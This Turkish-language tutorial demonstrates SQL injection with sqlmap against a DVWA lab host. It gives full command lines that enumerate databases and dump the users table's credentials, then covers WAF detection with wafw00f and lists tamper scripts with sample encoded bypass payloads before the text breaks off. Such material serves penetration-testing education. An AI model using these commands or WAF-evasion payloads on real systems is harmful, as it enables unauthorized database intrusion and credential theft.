SQL Map ile SQL Injection
Bu teknik makalede, güvenlik ürünü arkasında çalışan ve Sql Injection açıklığını barındıran bir sistemin veritabanına Sqlmap ile nasıl sızılabileceğinden bahsedeceğiz.
Makaleye geçmeden önce bazı temel kavramların tanımı yapılacaktır.
SQL Nedir?
SQL (Structured Query Language), veritabanlarında data çekme, silme ve değiştirme gibi işlemler için kullanılan basit yapılı bir dildir. Bugün hemen hemen tüm web uygulamalarının altyapısında veritabanı desteği vardır ve bu web uygulamaları veritabanı ile SQL aracılığıyla anlaşırlar.
Bir siteye mesaj bıraktığınızda bu mesaj veritabanına kaydedilir. O mesaj onaylandığında veritabanındaki bir alan güncellenmiş olur. Yönetici, veritabanındaki kaydı silerek o mesajın siteden silinmesini sağlar.
Örnek bir kayıt silme SQL cümlesi şu şekilde olabilir:
DELETE FROM members WHERE id=17
Yukarıdaki komut, veritabanı tarafından çalıştırıldığında “members” tablosunda “id” alanı “17” olan kayıt silinecektir.
SQL Injection (SQLi) Nedir?
SQL Injection, veri odaklı uygulamalarda tabanda çalışan SQL dili özelliklerinden faydalanılarak standart uygulama ekranındaki ilgili alana ek SQL ifadelerini ekleyerek yapılan bir tür atak tekniğidir. SQL Injection, uygulama yazılımları içindeki güvenlik açığından faydalanır. Örneğin, uygulama üzerinde girilen kullanıcı verisine SQL ifadeleri gömülür ve bu veri içeriği uygulama içerisinde filtre edilmiyorsa beklenmedik bir şekilde uygulamanın hata vermeden çalıştığı görülür. Bu saldırı diğer saldırılardan farklı bir atak tipi olduğu için yazılım geliştiricilerin bu açıdan saldırı geleceğini düşünmesi oldukça güçtür. Çoğunlukla web siteleri için kullanılan bir saldırı türü olarak bilinse de SQL veritabanına ait tüm uygulamalar için denenebilir bir ataktır.
Web Application Firewall (WAF) Nedir?
Web Application Firewall (Web Uygulama Güvenlik Duvarı – WAF) olarak adlandırılan sistemler, karmaşıklaşan web trafiği üzerinde detaylı inceleme yaparak anormal trafiği engellemeye yarayan teknoloji olarak karşımıza çıkıyor. Kısacası HTTP/HTTPS/SOAP/XML-RPC/Web Servisleri üzerinde detaylı paket incelemesi yaparak zararlı istekleri bloklamak için kullanılan bir yazılım diyebiliriz.
Web sunucuya gelen gelen HTTP ve HTTPS isteklerini eleyerek çalışırlar. (Genelde) Hem POST hem de GET isteklerini her türlü ziyaretçinin trafiğini inceleyerek uygulanan kurallarca denetler. Web site adreslerini ya da URL’leri sıradışı davranışlara karşı izler, sürpriz bir kullanıcıyla karşılaşırsa Captcha’ya yönlendirir. Captcha doğrulaması geçildikten sonra işleme devam edilir. Eğer Captcha’ya yanlış cevap verilirse bot, robot, saldırgan olmamıza karşın o anki trafiğimizi bloklar. WAF, çeşitli şekillerde çalışmakta olup parsing, decoding, filtreleme gibi yöntemlerle faaliyet gösterir.
Sqlmap Nedir? Ve Temel Kullanımı
Sqlmap, Python ile geliştirilmiş otomatik SQLi yazılımıdır. Böylece SQLi tespit ettiğimiz veya şüphelendiğimiz bir linke exploiting işlemini Sqlmap aracıyla test edebiliriz.
Temel Kullanım Parametreleri:
Hedef Belirtme:
-u : URL
Hedefe nasıl bağlanılacağını belirtme:
–data : DATA POST ile gönderilen data string’i
—threads : THREADS Eşzamanlı HTTP request’lerinin sayısı (varsayılan 1)
–cookie : Login gerektirdiği zamanlar kullanılır.
Injection özelleştirmesi:
-p : Test edilebilir parametre(ler)
–dbms : Hangi veritabanı tipi kullanıldığını belirtme
DBMS bilgilerini almak için:
–current-user : DBMS o anki kullanıcıları görmek
–current-db : DBMS o anki veritabanını görmek
–users : DBMS kullanıcılarını enumerate etmek
–passwords : DBMS kullanıcı parolalarının hash’lerini enumerate etmek
–dbs : DBMS veritabanlarını enumerate etmek
–tables : DBMS tablolarını enumerate etmek (opt: -D)
–columns : DBMS veritabanı tablolarının sütunlarını enumerate etmek
–dump : DBMS veritabanı girdilerini indirmek için
-D : DB Enumerate edilecek veritabanı
-T : TBL Enumerate edilecek tablo
–C : COL Enumerate edilecek sütun
-U : USER Enumerate edilecek kullanıcı
Resim 1
Resim 2
http://192.168.52.133/dvwa/ hedef sisteminde SQLi olabileceğini düşündüğümüz bir alan bulduk. Haydi başlayalım…
SQLi tespit ettiğimiz linki Sqlmap’e verip açığı doğrulayarak veritabanı sunucusundaki veritabanlarını görmek için:
# sqlmap -u
“http://192.168.52.133/dvwa/vulnerabilities/sqli/?id=3&Submit=Submit#” -p “id” –cookie “security=low; PHPSESSID=k1jfbcor5rhhnkkc6fk8apg0b2; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada” –dbs
Resim 3
Resim 4
“dvwa” isminde veritabanı keşfettik. Şimdi bu veritabanındaki tabloları çekiyoruz:
# sqlmap -u
“http://192.168.52.133/dvwa/vulnerabilities/sqli/?id=3&Submit=Submit#” -p “id” –cookie “security=low; PHPSESSID=k1jfbcor5rhhnkkc6fk8apg0b2; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada” -D dvwa –tables
Resim 5
Resim 6
Muhtemelen “users” isimli tabloda hedef sistemin yönetimini sağlayan Admin’in kullanıcı bilgisi olduğunu düşünerek “users” tablosundaki kolonları çekiyoruz:
# sqlmap -u
“http://192.168.52.133/dvwa/vulnerabilities/sqli/?id=3&Submit=Submit#” -p “id” –cookie “security=low; PHPSESSID=k1jfbcor5rhhnkkc6fk8apg0b2; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada” -D dvwa -T users –columns
Resim 7
Resim 8
Evet son aşamaya geldik. “user_id, user, password” kolonlarının içindeki verileri çekiyoruz:
# sqlmap -u
“http://192.168.52.133/dvwa/vulnerabilities/sqli/?id=3&Submit=Submit#” -p “id” –cookie “security=low; PHPSESSID=k1jfbcor5rhhnkkc6fk8apg0b2; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada” -D dvwa -T users -C user_id,user,password –dump
Resim 9
Resim 10
Sqlmap kullanarak kolayca SQLi açığı olan sistemi exploit ederek veritabanından Admin’in kullanıcı adı ve parolasına erişmiş olduk.
Peki, önünde WAF olan bir sisteme karşı sizce bu kadar kolay exploiting işlemi yapabilir miydik? Tabi ki hayır…
Nihayet, makalemizin easas konusu olan SQLi açığı olan ancak WAF/IDS/IPS gibi sistem kullananlara karşı Sqlmap ile nasıl bypass edebilirize gelmiş bulunuyoruz.
Öncesinde karşı tarafta WAF olup olmadığını öğrenmekte fayda var. Bunun için Sqlmap’in –identify-waf parametresi kullanılabilir:
# sqlmap -u “http://192.168.21.128/sqlmap/mysql/get_int.php?id=1” –identify-waf
Biz bunun için wafw00f aracını kullanacağız. Kullanımı gayet basit:
# wafw00f www.hedef.com
Resim 11
Karşı tarafta IBM’in ürünü olduğunu öğrendik. Bu yaptğımız işlemin şöyle bir avantajı da vardır, keşfedilen ürünün daha önceden bulunmuş bir zafiyet içerebilir. Eğer bir zafiyet içeriyorsa ona göre yol haritamız şekillenecektir.
Hedefimizdeki sistemde WAF, IDS veya IPS olduğunu varsayarak Sqlmap ile bypass işlemlerimize başlıyoruz…
Görüldüğü gibi sistem bize geçit vermedi.
Resim 12
Tamper Script Kullanımı
Tamper Script Nedir?
Kısaca, Sqlmap için hedef sisteme gönderilen sql payload’ları çeşitli algoritma ve encode teknikleri kullanarak güvenlik önlemlerini atlatmaya yarayan Python ile yazılmış yardımcı araçlardır.
Mysql sistemler için kullanılabilecek tamper scriptler:
between,bluecoat,charencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor
Mssql sistemler için kullanılabilecek tamper scriptler:
between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor
Genel olarak kullanabileceğiniz tamper scriptler:
apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes
Bazı tamper scriptlerinin detaylarına aşağıdan ulaşabilirsiniz:
apostrophemask.py (UTF-8)
* Orijinal Hali: AND ‘1’=’1′
* Bypass Yöntemi: AND %EF%BC%871%EF%BC%87=%EF%BC%871%EF%BC%87
apostrophenullencode.py (unicode)
* Orijinal Hali: AND ‘1’=’1′
* Bypass Yöntemi: AND %271%27=%271%27
appendnullbyte.py
* Orijinal Hali: AND 1=1
* Bypass Yöntemi: AND 1=1
Platform:
* Microsoft Access
base64encode.py (base64)
* Orijinal Hali: 1′ AND SLEEP(5)#
* Bypass Yöntemi: MScgQU5EIFNMRUVQKDUpIw==
between.py (“not between” “>”)
* Orijinal Hali: ‘A > B’
* Bypass Yöntemi: ‘A NOT BETWEEN 0 AND B’
bluecoat.py (“like” “=”)
* Orijinal Hali: SELECT id FROM users where id = 1
* Bypass Yöntemi: SELECT%09id FROM users where id LIKE 1
Platform:
* MySQL 5.1, SGOS
chardoubleencode.py
* Orijinal Hali: SELECT FIELD FROM%20TABLE
* Bypass Yöntemi: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
charencode.py
* Orijinal Hali: SELECT FIELD FROM%20TABLE
* Bypass Yöntemi: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
charunicodeencode.py
* Orijinal Hali: SELECT FIELD%20FROM TABLE
* Bypass Yöntemi: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
Platform:
* ASP
* ASP.NET
equaltolike.py (“like” “=”)
* Orijinal Hali: SELECT * FROM users WHERE id=1
* Bypass Yöntemi: SELECT * FROM users WHERE id LIKE 1
halfversionedmorekeywords.py
* Orijinal Hali: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa
* Bypass Yöntemi: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’=’QDWa
Platform:
* MySQL < 5.1
ifnull2ifisnull.py (“IF(ISNULL(A), B, A)” “IFNULL(A, B)”)
* Orijinal Hali: IFNULL(1, 2)
* Bypass Yöntemi: IF(ISNULL(1), 2, 1)
Platform:
* MySQL
* SQLite (possibly)
* SAP MaxDB (possibly)
modsecurityversioned.py
* Orijinal Hali: 1 AND 2>1–
* Bypass Yöntemi: 1 /*!30000AND 2>1*/–
Platform:
* MySQL
modsecurityzeroversioned.py (“0000”)
* Orijinal Hali: 1 AND 2>1–
* Bypass Yöntemi: 1 /*!00000AND 2>1*/–
Platform:
* MySQL
multiplespaces.py
* Orijinal Hali: UNION SELECT